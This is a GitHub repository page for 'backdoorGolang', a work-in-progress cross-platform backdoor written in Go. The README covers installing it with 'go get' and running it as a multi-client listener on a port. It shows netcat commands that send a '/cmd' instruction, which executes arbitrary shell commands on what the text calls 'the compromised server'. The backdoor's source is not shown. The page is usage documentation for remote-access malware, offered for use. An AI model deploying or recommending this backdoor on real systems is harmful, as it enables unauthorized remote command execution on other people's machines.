Skip to content

pilebones/backdoorGolang

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

27 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

backdoorGolang

Windows Build Status

Backdoor with Golang (Cross-Plateform)

_/!\ Work in progress, not a stable release /!_

##Main goal

A fork of my own project named : "pilebones/backdoorBash" (see: https://github.com/pilebones/backdoorBash) but instead of using Bash as programming language (Unix-like only) this new one will work on Windows too by using a Golang API (cross-plateform) developed from scratch (as much as possible).

Requirements

From Arch Linux :

(sudo) pacman -S community/go

From Debian :

(sudo) apt-get install golang-go

Installation

cd $GOPATH
go get github.com/pilebones/backdoorGolang
./bin/backdoorGolang --help

Usage

./bin/backdoorGolang --help
Usage of ./bin/backdoorGolang:
  -d, --debug         Enable mode debug
  -h, --host string   Set hostname to use (default "localhost")
  -l, --listen        Enable listen mode (server socket mode)
  -p, --port int      Set port number to use (default 9876)
  -v, --verbose       Enable mode verbose
  -V, --version       Display version number

Server-mode

./bin/backdoorGolang -h localhost -p 1234 -l

Notice : Server is multi-user capable (one server for X client)

Client-mode

/!\ Not implemented yet, use netcat meanwhile !

netcat localhost 1234

Instructions

Each message submit by client is sent to all backdoor's clients like a chat. However, an alone chat's feature is useless, there are a set of instructions allowed by all clients which have different behavior for taking advantage of the compromised server.

Quit Instruction

This instruction permit to logout the current user

/quit
/exit

Example :

echo "/quit"|netcat localhost 1234

Command Instruction

This instruction permit to execute shell command from server. (OS supported : Linux, Windows)

/cmd <shell-command>

Example :

echo "/cmd ls -l"|netcat localhost 1234

About

Backdoor with Golang (Cross-Plateform)

Resources

License

Stars

Watchers

Forks

Packages

No packages published